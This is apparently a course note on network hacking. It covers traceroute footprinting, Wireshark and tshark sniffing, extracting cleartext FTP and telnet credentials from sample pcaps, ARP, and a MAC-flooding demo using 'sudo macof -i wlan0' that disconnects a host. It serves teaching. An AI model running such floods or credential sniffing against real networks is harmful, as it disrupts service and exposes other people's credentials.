



Network Hacking

S2Day6Net.md



Recall

LAST TIME TOPICS



Topics

- What is Network Hacking?
- Network footprinting
- Network sniffing
- Network Captures
- Mac attack
- Arp poisoning



What is Network Hacking?

- Network Hacking is gathering and exploiting of networks.
- The networks can be WAN or LAN.
- Networking Hacking is an offensive branch of computer security related to networks hacking and the penetration of a target via the networking services or equipment.
- This includes
 - Network information gathering
 - Sniffing
 - Network Attacks


Network footprinting

- Network Hacking is generally means gathering information about domain by using tools
 1. Ping: used for ping sweep
 2. traceroute
 - a. It is used to trace out the route taken by the certain information
 - b. i.e. data packets from source to destination.


```
(nathan@Nathan)-[~]
$ traceroute google.com
traceroute to google.com (172.217.18.142), 30 hops max, 60 byte packets
 1 _gateway (192.168.1.1) 5.503 ms 7.238 ms 10.305 ms
 2 10.56.104.1 (10.56.104.1) 14.264 ms 18.830 ms 18.840 ms
 3 10.10.3.14 (10.10.3.14) 22.488 ms 22.501 ms 22.498 ms
 4 10.10.5.3 (10.10.5.3) 22.496 ms 10.10.5.1 (10.10.5.1) 22.489 ms 10.10.5.3 (10.10.5.3) 22.488 ms
 5 10.10.1.118 (10.10.1.118) 22.485 ms 22.482 ms 22.458 ms
 6 10.129.243.89 (10.129.243.89) 22.508 ms 10.10.1.42 (10.10.1.42) 7.678 ms 10.129.243.89 (10.129.243.89) 21.737 ms
 7 10.133.233.73 (10.133.233.73) 11.466 ms 10.1.41.6 (10.1.41.6) 18.800 ms 10.133.233.73 (10.133.233.73) 24.838 ms
 8 10.1.41.6 (10.1.41.6) 14.934 ms * 21.694 ms
 9 41.189.225.125 (41.189.225.125) 27.598 ms * 27.589 ms
10 41.189.225.125 (41.189.225.125) 27.558 ms 41.189.226.137 (41.189.226.137) 27.581 ms 27.578 ms
11 108.170.240.49 (108.170.240.49) 58.462 ms 41.189.226.153 (41.189.226.153) 29.495 ms 41.189.225.170 (41.189.225.170) 53.155 ms
12 108.170.246.113 (108.170.246.113) 77.211 ms 84.110 ms 41.189.225.170 (41.189.225.170) 51.025 ms
13 142.251.66.203 (142.251.66.203) 65.531 ms 54.841 ms 172.253.51.137 (172.253.51.137) 61.681 ms
14 mct01s09-in-f14.1e100.net (172.217.18.142) 81.627 ms 84.067 ms 172.253.51.137 (172.253.51.137) 57.866 ms
```

Network sniffing

- Sniffing is the process of monitoring and capturing all the packets passing through a given network using sniffing tools. It is a form of “tapping phone wires” and get to know about the conversation



Types of sniffing



1. Passive Sniffing

- In passive sniffing, the traffic is Visible **but it is not altered** in any way. Passive sniffing allows listening only.
- It works with Hub devices. On a hub device, the traffic is sent to all the ports. In a network that uses hubs to connect systems, all hosts on the network can see the traffic. Therefore, an attacker can easily capture traffic going through.
- The good news is that hubs are almost obsolete nowadays. Most modern networks use switches. Hence, passive sniffing is no more effective.

2. Active Sniffing

- In active sniffing, the traffic is not only monitored, but it may **also be altered** in some way as determined by the attack.
- Active sniffing is used to sniff a switch-based network.

Sniffing networks...



- Let's Sniff some networks
- For this purpose we use a program called Wireshark.
- It is One popular passive monitoring tool.
- Wireshark technically is referred to as a “protocol analyzer”, but it uses only passive observation of network traffic.
- Wireshark supports both live and offline analysis, has a graphical user interface, and can be used for analyzing multiple protocols
- It is for windows and linux.
- It can Capture and record network Traffics and Save it in Form of cap/pcap file


wireshark

To start it

- You can type it on terminal

```
(nathan@Nathan)~$ wireshark
```

- You can search it on the applications.



...

Capture
starting/stopping

- After choosing a network interface, it will start capturing

The image shows the Wireshark network traffic capture interface. At the top, the status bar indicates "Capturing from wlan0". The menu bar includes File, Edit, View, Go, Capture, Analyze, Statistics, Telephony, Wireless, Tools, and Help. Below the menu bar is a toolbar with icons for starting/stopping capture, saving, and other functions. A red box highlights the "Capture" button (a green circle with a white dot) and the "Start" button (a green circle with a white dot). Below the toolbar is a search bar labeled "protocol/ip searching". The main display area shows a list of captured packets. The first packet is an ICMP Echo (ping) request from 192.168.1.1 to 192.168.1.8. The second packet is an ICMP Echo (ping) reply from 192.168.1.8 to 192.168.1.1. The third packet is an ICMP Echo (ping) request from 192.168.1.1 to 192.168.1.8. The fourth packet is an ICMP Echo (ping) reply from 192.168.1.8 to 192.168.1.1. The fifth packet is an IGMPv2 Membership Report from 192.168.1.2 to 224.0.0.251. The sixth packet is an IGMPv2 Membership Report from 192.168.1.2 to 224.0.0.251. The seventh packet is an IGMPv2 Membership Report from 192.168.1.2 to 224.0.0.251. Below the packet list, the details pane shows the selected packet (Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface wlan0, id 0). The details pane shows the Ethernet II header, the Internet Protocol Version 4 header, and the Internet Control Message Protocol header. The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.1.1	192.168.1.8	ICMP	98	Echo (ping) request id=0x7579, seq=0/0, ttl=64 (reply in 2)
2	0.000023274	192.168.1.8	192.168.1.1	ICMP	98	Echo (ping) reply id=0x7579, seq=0/0, ttl=64 (request in 1)
3	7.211515673	192.168.1.1	192.168.1.8	ICMP	98	Echo (ping) request id=0x759b, seq=0/0, ttl=64 (reply in 4)
4	7.211552109	192.168.1.8	192.168.1.1	ICMP	98	Echo (ping) reply id=0x759b, seq=0/0, ttl=64 (request in 3)
5	10.270337378	192.168.1.2	224.0.0.251	IGMPv2	46	Membership Report group 224.0.0.251
6	10.273817171	192.168.1.2	224.0.0.251	IGMPv2	46	Membership Report group 224.0.0.251
7	10.277021503	192.168.1.2	224.0.0.251	IGMPv2	46	Membership Report group 224.0.0.251

Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface wlan0, id 0
Ethernet II, Src: ChinaMob_76:e0:58 (44:c0:74:76:e0:58), Dst: 06:0c:01:00:8c:6d (06:0c:01:00:8c:6d)
Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.8
Internet Control Message Protocol

0000 06 0c 01 00 8c 6d 44 c8 74 76 e0 58 08 00 45 00mD tv X E
0010 00 54 00 00 40 00 40 01 b7 4f c0 a8 01 01 c0 a8 ..T.@@.O
0020 01 08 08 00 9b 34 75 79 00 00 63 cb cd 44 00 064uy .c.D
0030 65 79 2b 2e e0 00 7f c9 08 88 2b 5b 7f 24 7f c9 ey+. .+[\$
0040 08 d8 00 00 00 00 00 00 00 64 ff ff ff ff 00 00d
0050 00 02 00 00 00 01 00 00 00 00 7f c9 09 f0 00 00
0060 00 00

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
534	691.331578743	IntelCor_3b:bc:35	Broadcast	ARP	42	Who has 192.168.1.8? Tell 192.168.1.3
535	691.331619815	06:0c:01:00:8c:6d	IntelCor_3b:bc:35	ARP	42	192.168.1.8 is at 06:0c:01:00:8c:6d
536	691.338852529	192.168.1.3	192.168.1.8	TCP	66	59945 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
537	691.338893316	192.168.1.8	192.168.1.3	TCP	66	80 → 59945 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
538	691.344223953	192.168.1.3	192.168.1.8	TCP	54	59945 → 80 [ACK] Seq=1 Ack=1 Win=131328 Len=0
539	691.347355272	192.168.1.3	192.168.1.8	HTTP	520	GET / HTTP/1.1
540	691.347465954	192.168.1.8	192.168.1.3	TCP	54	80 → 59945 [ACK] Seq=1 Ack=467 Win=64128 Len=0
541	691.444101264	192.168.1.8	192.168.1.3	TCP	1514	80 → 59945 [ACK] Seq=1 Ack=467 Win=64128 Len=1460 [TCP segment of a reassembled PDU]
542	691.444121654	192.168.1.8	192.168.1.3	TCP	1514	80 → 59945 [ACK] Seq=1461 Ack=467 Win=64128 Len=1460 [TCP segment of a reassembled PDU]
543	691.444123714	192.168.1.8	192.168.1.3	HTTP	514	HTTP/1.1 200 OK (text/html)
544	691.455583486	192.168.1.3	192.168.1.8	TCP	54	59945 → 80 [ACK] Seq=467 Ack=2921 Win=131328 Len=0
545	691.494280175	192.168.1.3	192.168.1.8	TCP	54	59945 → 80 [ACK] Seq=467 Ack=3381 Win=130816 Len=0
546	691.536481320	192.168.1.3	192.168.1.8	HTTP	470	GET /icons/openlogo-75.png HTTP/1.1
547	691.536512694	192.168.1.8	192.168.1.3	TCP	54	80 → 59945 [ACK] Seq=3381 Ack=883 Win=64128 Len=0
548	691.545768433	192.168.1.8	192.168.1.3	TCP	1514	80 → 59945 [ACK] Seq=3381 Ack=883 Win=64128 Len=1460 [TCP segment of a reassembled PDU]
549	691.545792599	192.168.1.8	192.168.1.3	TCP	1514	80 → 59945 [ACK] Seq=4841 Ack=883 Win=64128 Len=1460 [TCP segment of a reassembled PDU]
550	691.545796041	192.168.1.8	192.168.1.3	TCP	1514	80 → 59945 [ACK] Seq=6301 Ack=883 Win=64128 Len=1460 [TCP segment of a reassembled PDU]
551	691.545798869	192.168.1.8	192.168.1.3	TCP	1514	80 → 59945 [ACK] Seq=7761 Ack=883 Win=64128 Len=1460 [TCP segment of a reassembled PDU]
552	691.545801787	192.168.1.8	192.168.1.3	HTTP	254	HTTP/1.1 200 OK (PNG)
553	691.555604500	192.168.1.3	192.168.1.8	TCP	54	59945 → 80 [ACK] Seq=883 Ack=6301 Win=131328 Len=0
554	691.555717844	192.168.1.3	192.168.1.8	TCP	54	59945 → 80 [ACK] Seq=883 Ack=9221 Win=131328 Len=0

Frame 546: 470 bytes on wire (3760 bits), 470 bytes captured (3760 bits) on interface wlan0, id 0
Interface id: 0 (wlan0)
Encapsulation type: Ethernet (1)

We can even see, what the user accessed/requested

...

785 901.353071701	192.168.1.1	192.168.1.1	ICMP	66 Neighbor Solicitation for 192.168.1.1 from 44.60.74.70:60:30
784 901.465808684	192.168.1.3	192.168.1.8	ICMP	74 Echo (ping) request id=0x0001, seq=3/768, ttl=64 (reply in 785)
785 901.465832609	192.168.1.8	192.168.1.3	ICMP	74 Echo (ping) reply id=0x0001, seq=3/768, ttl=64 (request in 784)
786 902.158230411	192.168.1.1	192.168.1.8	ICMP	98 Echo (ping) request id=0x0878, seq=0/0, ttl=64 (reply in 787)
787 902.158265717	192.168.1.8	192.168.1.1	ICMP	98 Echo (ping) reply id=0x0878, seq=0/0, ttl=64 (request in 786)
788 902.469438617	192.168.1.3	192.168.1.8	ICMP	74 Echo (ping) request id=0x0001, seq=4/1024, ttl=64 (reply in 789)
789 902.469462704	192.168.1.8	192.168.1.3	ICMP	74 Echo (ping) reply id=0x0001, seq=4/1024, ttl=64 (request in 788)
790 904.148460466	IntelCor_3b:bc:35	06:0c:01:00:8c:6d	ARP	42 Who has 192.168.1.8? Tell 192.168.1.3

Also when some one ping to us.

85227...	192.168.1.8	192.99.200.113	TCP	74 43860 → 80 [SYN] Seq=0 Win=64240 Len=0
35406...	192.99.200.113	192.168.1.8	TCP	66 80 → 43860 [SYN, ACK] Seq=0 Ack=1 Win=2
36224...	192.168.1.8	192.99.200.113	TCP	54 43860 → 80 [ACK] Seq=1 Ack=1 Win=64256
39563...	192.168.1.8	192.99.200.113	HTTP	190 GET /kali/pool/main/libn/libnids/libnid
94054...	192.99.200.113	192.168.1.8	TCP	54 80 → 43860 [ACK] Seq=1 Ack=137 Win=3033
93470...	192.99.200.113	192.168.1.8	HTTP	1471 HTTP/1.1 302 Found (text/html)

And check when tcp connections established

Tshark

Tshark is a command line tool like the
wireshark it can capture

```
(nathan@Nathan) ~/rex
$ tshark -i wlan0
Capturing on 'wlan0'
1 0.000000000 ChinaMob_76:e0:58 → 06:0c:01:00:8c:6d ARP 42 Who has 192.168.1.8? Tell 192.168.1.1
2 0.000021264 06:0c:01:00:8c:6d → ChinaMob_76:e0:58 ARP 42 192.168.1.8 is at 06:0c:01:00:8c:6d
3 1.142477233 fe80::f55a:3099:6bf5:ee5b → fe80::1 ICMPv6 86 Neighbor Solicitation for fe80::1 from 06:0c:01:00:8c:6d
4 1.146199433 fe80::1 → fe80::f55a:3099:6bf5:ee5b ICMPv6 78 Neighbor Advertisement fe80::1 (rtr, sol)
5 2.016521116 192.168.1.1 → 224.0.0.1 IGMPv2 46 Membership Query, general
6 2.018889083 192.168.1.1 → 224.0.0.1 IGMPv2 46 Membership Query, general
7 2.020518191 192.168.1.1 → 224.0.0.1 IGMPv2 46 Membership Query, general
8 2.022518840 fe80::1 → ff02::1 ICMPv6 86 Multicast Listener Query
9 2.119288919 fe80::1 → ff02::1 ICMPv6 86 Multicast Listener Query
10 2.120926287 fe80::1 → ff02::1 ICMPv6 86 Multicast Listener Query
11 2.223600395 fe80::1 → ff02::2 ICMPv6 86 Multicast Listener Report
12 2.225530588 fe80::1 → ff02::2 ICMPv6 86 Multicast Listener Report
13 2.227188693 fe80::56f9:9f42:ea67:fdd4 → ff02::1:ff67:fdd4 ICMPv6 86 Multicast Listener Report
14 2.323459268 fe80::56f9:9f42:ea67:fdd4 → ff02::1:ff67:fdd4 ICMPv6 86 Multicast Listener Report
15 2.326461912 fe80::f55a:3099:6bf5:ee5b → ff02::1:fff5:ee5b ICMPv6 86 Multicast Listener Report
16 2.326578761 fe80::56f9:9f42:ea67:fdd4 → ff02::1:ff67:fdd4 ICMPv6 86 Multicast Listener Report
17 2.328212026 fe80::56f9:9f42:ea67:fdd4 → ff02::fb ICMPv6 86 Multicast Listener Report
18 2.332017873 fe80::56f9:9f42:ea67:fdd4 → ff02::fb ICMPv6 86 Multicast Listener Report
19 2.427030164 fe80::56f9:9f42:ea67:fdd4 → ff02::1:3 ICMPv6 86 Multicast Listener Report
20 2.430932163 fe80::56f9:9f42:ea67:fdd4 → ff02::1:3 ICMPv6 86 Multicast Listener Report
21 2.530081249 fe80::56f9:9f42:ea67:fdd4 → ff02::c ICMPv6 86 Multicast Listener Report
22 2.534532332 fe80::56f9:9f42:ea67:fdd4 → ff02::c ICMPv6 86 Multicast Listener Report
23 2.537735422 fe80::56f9:9f42:ea67:fdd4 → ff02::c ICMPv6 86 Multicast Listener Report
24 2.640279710 fe80::1 → ff02::1:ff00:0 ICMPv6 86 Multicast Listener Report
25 2.644245217 fe80::1 → ff02::1:ff00:0 ICMPv6 86 Multicast Listener Report
26 2.648109304 fe80::1 → ff02::1:ff00:0 ICMPv6 86 Multicast Listener Report
27 2.690885876 fe80::1 → ff02::1:ff00:1 ICMPv6 86 Multicast Listener Report
28 2.693016013 fe80::1 → ff02::1:ff00:1 ICMPv6 86 Multicast Listener Report
29 2.696891076 fe80::1 → ff02::1:ff00:1 ICMPv6 86 Multicast Listener Report
30 3.135415031 fe80::f55a:3099:6bf5:ee5b → ff02::1:2 DHCPv6 138 Solicit XID: 0x4b73b6 CID: 0004bc151a2c62bdc80e65592fdf0b369f8
31 3.330673109 192.168.1.1 → 192.168.1.8 ICMP 98 Echo (ping) request id=0x6bec, seq=0/0, ttl=64
32 3.330707634 192.168.1.8 → 192.168.1.1 ICMP 98 Echo (ping) reply id=0x6bec, seq=0/0, ttl=64 (request in 31)
33 3.760577041 192.168.1.3 → 224.0.0.251 IGMPv2 46 Membership Report group 224.0.0.251
34 3.764456821 192.168.1.3 → 224.0.0.251 IGMPv2 46 Membership Report group 224.0.0.251
35 3.768424452 192.168.1.3 → 224.0.0.251 IGMPv2 46 Membership Report group 224.0.0.251
36 3.768437910 192.168.1.3 → 239.255.255.250 IGMPv2 46 Membership Report group 239.255.255.250
37 3.860185057 192.168.1.3 → 239.255.255.250 IGMPv2 46 Membership Report group 239.255.255.250
38 3.864017940 192.168.1.3 → 239.255.255.250 IGMPv2 46 Membership Report group 239.255.255.250
39 6.134935031 192.168.1.8 → 34.107.221.82 TCP 66 58164 → 80 [ACK] Seq=1 Ack=1 Win=501 Len=0 TSval=2551140853 TSecr=297025113
40 6.215061886 192.168.1.3 → 224.0.0.252 IGMPv2 46 Membership Report group 224.0.0.252
41 6.216815334 192.168.1.3 → 224.0.0.252 IGMPv2 46 Membership Report group 224.0.0.252
42 6.220860370 192.168.1.3 → 224.0.0.252 IGMPv2 46 Membership Report group 224.0.0.252
```


UnSecured Connection

To Demonstrate this Lets Use
A service called FTP.

If you need the cap/pcap file

<https://github.com/markofu/pcaps/blob/master/PracticalPacketAnalysis/ppa-capture-files/ftp.pcap>

No.	Time	Source	Destination	Protocol	Length	Info
1	2006-12-16 20:24:40.499548	192.168.0.114	192.168.0.193	TCP	62	1137 → 21 [SYN] Seq=0 Win=16384 Len=0 MSS=1460 SACK_PERM
2	2006-12-16 20:24:40.501867	192.168.0.193	192.168.0.114	TCP	62	21 → 1137 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1452 SACK_PERM
3	2006-12-16 20:24:40.501886	192.168.0.114	192.168.0.193	TCP	54	1137 → 21 [ACK] Seq=1 Ack=1 Win=17424 Len=0
4	2006-12-16 20:24:40.503947	192.168.0.193	192.168.0.114	FTP	84	Response: 220 Chris Sanders FTP Server
5	2006-12-16 20:24:40.504807	192.168.0.114	192.168.0.193	FTP	69	Request: USER csanders
6	2006-12-16 20:24:40.506108	192.168.0.193	192.168.0.114	FTP	91	Response: 331 Password required for csanders.
7	2006-12-16 20:24:40.507195	192.168.0.114	192.168.0.193	FTP	65	Request: PASS echo
8	2006-12-16 20:24:40.509484	192.168.0.193	192.168.0.114	FTP	84	Response: 230 User csanders logged in.
9	2006-12-16 20:24:40.509636	192.168.0.114	192.168.0.193	FTP	60	Request: SYST
10	2006-12-16 20:24:40.510945	192.168.0.193	192.168.0.114	FTP	73	Response: 215 UNIX Type: L8
11	2006-12-16 20:24:40.511077	192.168.0.114	192.168.0.193	FTP	60	Request: FEAT
12	2006-12-16 20:24:40.513048	192.168.0.193	192.168.0.114	FTP	133	Response: 211-Extensions supported:
13	2006-12-16 20:24:40.513258	192.168.0.114	192.168.0.193	FTP	80	Request: CLNT FlashFXP 3.4.0.1145
14	2006-12-16 20:24:40.514539	192.168.0.193	192.168.0.114	FTP	88	Response: 200 "FlashFXP 3.4.0.1145" noted.
15	2006-12-16 20:24:40.517142	192.168.0.114	192.168.0.193	FTP	61	Request: CWD /
16	2006-12-16 20:24:40.521676	192.168.0.193	192.168.0.114	FTP	109	Response: 250 CWD command successful. "/" is current directory.
17	2006-12-16 20:24:40.523059	192.168.0.114	192.168.0.193	FTP	59	Request: PWD
18	2006-12-16 20:24:40.524362	192.168.0.193	192.168.0.114	FTP	85	Response: 257 "/" is current directory.
19	2006-12-16 20:24:40.674666	192.168.0.114	192.168.0.193	TCP	54	1137 → 21 [ACK] Seq=77 Ack=316 Win=17109 Len=0
20	2006-12-16 20:24:40.844895	192.168.0.114	63.245.209.21	TCP	54	4844 → 80 [FIN, ACK] Seq=1 Ack=1 Win=16755 Len=0
21	2006-12-16 20:24:40.949327	192.168.0.114	192.168.0.114	TCP	60	80 → 4844 [FIN, ACK] Seq=1 Ack=2 Win=8190 Len=0
22	2006-12-16 20:24:40.949353	192.168.0.114	63.245.209.21	TCP	54	4844 → 80 [ACK] Seq=2 Ack=2 Win=16755 Len=0
23	2006-12-16 20:24:43.152163	192.168.0.114	192.168.0.193	FTP	62	Request: TYPE I
24	2006-12-16 20:24:43.155253	192.168.0.193	192.168.0.114	FTP	74	Response: 200 Type set to I.
25	2006-12-16 20:24:43.156833	192.168.0.114	192.168.0.193	FTP	70	Request: SIZE Music.mp3
26	2006-12-16 20:24:43.158619	192.168.0.193	192.168.0.114	FTP	67	Response: 213 4980924
27	2006-12-16 20:24:43.160785	192.168.0.114	192.168.0.193	FTP	60	Request: PASV
28	2006-12-16 20:24:43.163259	192.168.0.193	192.168.0.114	FTP	103	Response: 227 Entering Passive Mode (192,168,0,193,28,86)
29	2006-12-16 20:24:43.163553	192.168.0.114	192.168.0.193	TCP	62	1140 → 7254 [SYN] Seq=0 Win=32768 Len=0 MSS=1460 SACK_PERM
30	2006-12-16 20:24:43.164508	192.168.0.193	192.168.0.114	TCP	62	7254 → 1140 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1452 SACK_PERM
31	2006-12-16 20:24:43.164521	192.168.0.114	192.168.0.193	TCP	54	1140 → 7254 [ACK] Seq=1 Ack=1 Win=32768 Len=0
32	2006-12-16 20:24:43.164645	192.168.0.114	192.168.0.193	FTP	70	Request: RETR Music.mp3

Frame 32: 70 bytes on wire (560 bits), 70 bytes captured (560 bits)

If you do this it will collect all the unencrypted data and display for you

The screenshot displays a network traffic analysis tool interface. The main window shows a list of packets with columns for time, source IP, destination IP, protocol, and packet number. The packets are filtered to show only those from 192.168.0.114 to 192.168.0.193. The list includes FTP and TCP packets. A context menu is open over the packet list, showing various actions like 'Mark/Unmark Packet', 'Ignore/Unignore Packet', 'Set/Unset Time Reference', 'Time Shift...', 'Packet Comments', 'Edit Resolved Name', 'Apply as Filter', 'Prepare as Filter', 'Conversation Filter', 'Colorize Conversation', 'SCTP', 'Follow', 'Copy', 'Protocol Preferences', 'Decode As...', and 'Show Packet in New Window'. The 'Follow' option is highlighted, and a sub-menu is open showing 'TCP Stream' (Ctrl+Alt+Shift+T), 'UDP Stream' (Ctrl+Alt+Shift+U), 'DCCP Stream' (Ctrl+Alt+Shift+E), 'TLS Stream' (Ctrl+Alt+Shift+S), 'HTTP Stream' (Ctrl+Alt+Shift+H), 'HTTP/2 Stream', 'QUIC Stream', and 'SIP Call'. The 'TCP Stream' option is highlighted with a red box.

Time	Source IP	Destination IP	Protocol	Packet #
20:24:40.504887	192.168.0.114	192.168.0.193	FTP	89
20:24:40.506108	192.168.0.193	192.168.0.114	FTP	91
20:24:40.507195	192.168.0.114	192.168.0.193	FTP	65
20:24:40.509484	192.168.0.193	192.168.0.114	FTP	84
20:24:40.509636	192.168.0.114	192.168.0.193	FTP	60
20:24:40.510945	192.168.0.193	192.168.0.114	FTP	73
20:24:40.511077	192.168.0.114	192.168.0.193	FTP	60
20:24:40.513048	192.168.0.193	192.168.0.114	FTP	133
20:24:40.513258	192.168.0.114	192.168.0.193	FTP	80
20:24:40.514539	192.168.0.193	192.168.0.114	FTP	88
20:24:40.517142	192.168.0.114	192.168.0.193	FTP	61
20:24:40.521676	192.168.0.193	192.168.0.114	FTP	109
20:24:40.523059	192.168.0.114	192.168.0.193	FTP	59
20:24:40.524362	192.168.0.193	192.168.0.114	FTP	85
20:24:40.674666	192.168.0.114	192.168.0.193	TCP	54
20:24:40.844895	192.168.0.114	63.245.209.21	TCP	54
20:24:40.949327	63.245.209.21	192.168.0.114	TCP	60
20:24:40.949353	192.168.0.114	63.245.209.21	TCP	54
20:24:43.152163	192.168.0.114	192.168.0.193	FTP	6
20:24:43.155253	192.168.0.193	192.168.0.114	FTP	7
20:24:43.156833	192.168.0.114	192.168.0.193	FTP	7
20:24:43.158619	192.168.0.193	192.168.0.114	FTP	6
20:24:43.160785	192.168.0.114	192.168.0.193	FTP	6
20:24:43.163259	192.168.0.193	192.168.0.114	FTP	10
20:24:43.163553	192.168.0.114	192.168.0.193	TCP	6
20:24:43.164508	192.168.0.193	192.168.0.114	TCP	6
20:24:43.164521	192.168.0.114	192.168.0.193	TCP	5
20:24:43.164645	192.168.0.114	192.168.0.193	FTP	7


on wire (496 bits), 62 bytes captured (496 bits)
HonHaiPr_6e:8b:24 (00:16:ce:6e:8b:24), Dst: ASUSTekC_40:76:ef (00:16:ce:6e:8b:24), Src: 192.168.0.114, Dst: 192.168.0.193
Version 4, Src Port: 1137, Dst Port: 21, Seq: 77, Ack: 316, Len: 0
Protocol (FTP)
directory: /]

Context Menu Options:

- Mark/Unmark Packet (Ctrl+M)
- Ignore/Unignore Packet (Ctrl+D)
- Set/Unset Time Reference (Ctrl+T)
- Time Shift... (Ctrl+Shift+T)
- Packet Comments
- Edit Resolved Name
- Apply as Filter
- Prepare as Filter
- Conversation Filter
- Colorize Conversation
- SCTP
- Follow (Ctrl+Alt+Shift+T)
- Copy
- Protocol Preferences
- Decode As...
- Show Packet in New Window

Sub-menu for Follow:

- TCP Stream (Ctrl+Alt+Shift+T)
- UDP Stream (Ctrl+Alt+Shift+U)
- DCCP Stream (Ctrl+Alt+Shift+E)
- TLS Stream (Ctrl+Alt+Shift+S)
- HTTP Stream (Ctrl+Alt+Shift+H)
- HTTP/2 Stream
- QUIC Stream
- SIP Call






Experience

- 1) Open wireshark and be familiar with it
 - a) Open it on your interface
 - b) Try to access google.com
 - c) Observe what happens
- 2) Open tshark and observe it
- 3) Download the pcap file below and get the “Username” and “Password”
 - a) <https://github.com/markofu/pcaps/blob/master/PracticalPacketAnalysis/ppa-capture-files/telnet.pcap>

What is ARP /Address Resolution Protocol/

- Address Resolution Protocol (ARP) is a **procedure for mapping a dynamic IP address to a permanent physical machine address in a local area network (LAN)**. The physical machine address is also known as a media access control (MAC) address.
- The reason why we need ARP is because **computers need to know both the IP address and the MAC address of a destination before they can start network communication**





demo


Look at the below wireshark capture.

In this case the source is my router.

No.	Time	Source	Destination	Protocol	Length	Info
263	368.758504625	ChinaMob_76:e0:58	06:0c:01:00:8c:6d	ARP	42	Who has 192.168.1.8? Tell 192.168.1.1
264	368.758520033	06:0c:01:00:8c:6d	ChinaMob_76:e0:58	ARP	42	192.168.1.8 is at 06:0c:01:00:8c:6d

searching...

- On the search bar you can search protocols(ICMP,ARP,HTTP..) or some ip addresses as shown.
- It also try to suggest you and complete it for you.






Mac flooding

- MAC Flooding is one of the most common network attacks.
- Unlike other web attacks, MAC Flooding is not a method of attacking any host machine in the network, but it is the method of attacking the network switches.
- However, the victim of the attack is a host computer in the network.
- the switches maintain a table structure called MAC Table.
- This MAC Table **consists of individual MAC addresses** of the host computers on the network which are connected to ports of the switch.
- This table **allows the switches to direct the data out of the ports** where the recipient is located.
 - As we've already seen, the hubs broadcast the data to the entire network allowing the data to reach all hosts on the network but switches send the data to the specific machine(s) which the data is intended to be sent.
 - This goal is achieved by the use of MAC tables.
- The aim of the MAC Flooding is to takedown this MAC Table.
- In a typical MAC Flooding attack, **the attacker sends Ethernet Frames in a huge number**. When sending many Ethernet Frames to the switch, **these frames will have various sender addresses**. The intention of the attacker is consuming the memory of the switch that is used to store the MAC address table.
- The MAC addresses of legitimate users **will be pushed out of the MAC Table**.
- Now the switch cannot deliver the incoming data to the destination system. So considerable number of **incoming frames will be flooded** at all ports.

Mac table

```
Switch>en
Switch#show mac address-table
Mac Address Table
-----
Vlan    Mac Address      Type    Ports
----    -
20      001b.10a0.2500    DYNAMIC Gi1/0
20      001b.10ae.7d00    DYNAMIC Gi0/0
30      001b.108c.8700    DYNAMIC Gi1/2
30      001b.10ae.7d00    DYNAMIC Gi0/0
30      0050.7966.6803    DYNAMIC Gi1/1
Total Mac Addresses for this criterion: 5
Switch#
```



demo.

- I have set ping sweep on my windows to check the connection
- Wireshark to see the package
- And used macof tool for the mac flood.
- Also can be sent to specific 1 destination /ip
- The command needs
 - sudo

```
PS C:\Users\Nathan Hailu> ping google.com -n 10000
```

```
Pinging google.com [142.251.161.138] with 32 bytes of data:  
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107  
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107  
Reply from 142.251.161.138: bytes=32 time=231ms TTL=107  
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107  
Reply from 142.251.161.138: bytes=32 time=226ms TTL=107  
Reply from 142.251.161.138: bytes=32 time=230ms TTL=107  
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107
```

```
(nathan@Nathan)-[~]  
$ sudo macof -i wlan0
```

```
(nathan@Nathan)-[~]  
$ macof -i wlan0 -n 10 -d 192.168.220.140
```

No.	Time	Source
-----	------	--------


```

Reply from 142.251.161.138: bytes=32 time=227ms TTL=107
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107
Reply from 142.251.161.138: bytes=32 time=229ms TTL=107
Reply from 142.251.161.138: bytes=32 time=230ms TTL=107
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107
Reply from 142.251.161.138: bytes=32 time=228ms TTL=107
Reply from 142.251.161.138: bytes=32 time=228ms TTL=107
Reply from 142.251.161.138: bytes=32 time=228ms TTL=107
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107
Reply from 142.251.161.138: bytes=32 time=229ms TTL=107
Reply from 142.251.161.138: bytes=32 time=227ms TTL=107
Reply from 142.251.161.138: bytes=32 time=234ms TTL=107
Request timed out.
Request timed out.
Request timed out.

```

- Macof will send a lot of fake MAC's to the switch and makes if confused, and do stop proper functioning this can cause, **disconnections between hosts.**
- As you see google is now disconnected from host.

```

(nathan@Nathan) ~$ sudo macof -i wlan0
4d:e:c1:5a:bf:d3 d:6c:1d:27:45:97 0.0.0.0.61198 > 0.0.0.0.56823: S 418603750:418603750(0) win 512
57:6c:35:47:e4:a7 22:3e:93:29:e6:5e 0.0.0.0.48890 > 0.0.0.0.14184: S 4260998387:4260998387(0) win 512
cf:db:77:51:aa:f2 7e:46:ba:8:15:47 0.0.0.0.821 > 0.0.0.0.25699: S 1902570399:1902570399(0) win 512
e8:54:92:2a:15:46 f8:13:a0:66:a5:12 0.0.0.0.56985 > 0.0.0.0.19562: S 1901249417:1901249417(0) win 512
41:db:d6:1e:68:68 b8:74:9f:d:ce:61 0.0.0.0.2146 > 0.0.0.0.34378: S 1997416619:1997416619(0) win 512
a:3d:3e:54:0:4d af:10:97:42:80:e0 0.0.0.0.48873 > 0.0.0.0.5963: S 2104525479:2104525479(0) win 512
c0:f0:61:4d:91:ff f7:26:d:3b:ba:38 0.0.0.0.36766 > 0.0.0.0.28880: S 111112000:111112000(0) win 512
b4:95:8f:35:e1:85 df:17:3:15:9b:4d 0.0.0.0.46572 > 0.0.0.0.28690: S 649122763:649122763(0) win 512
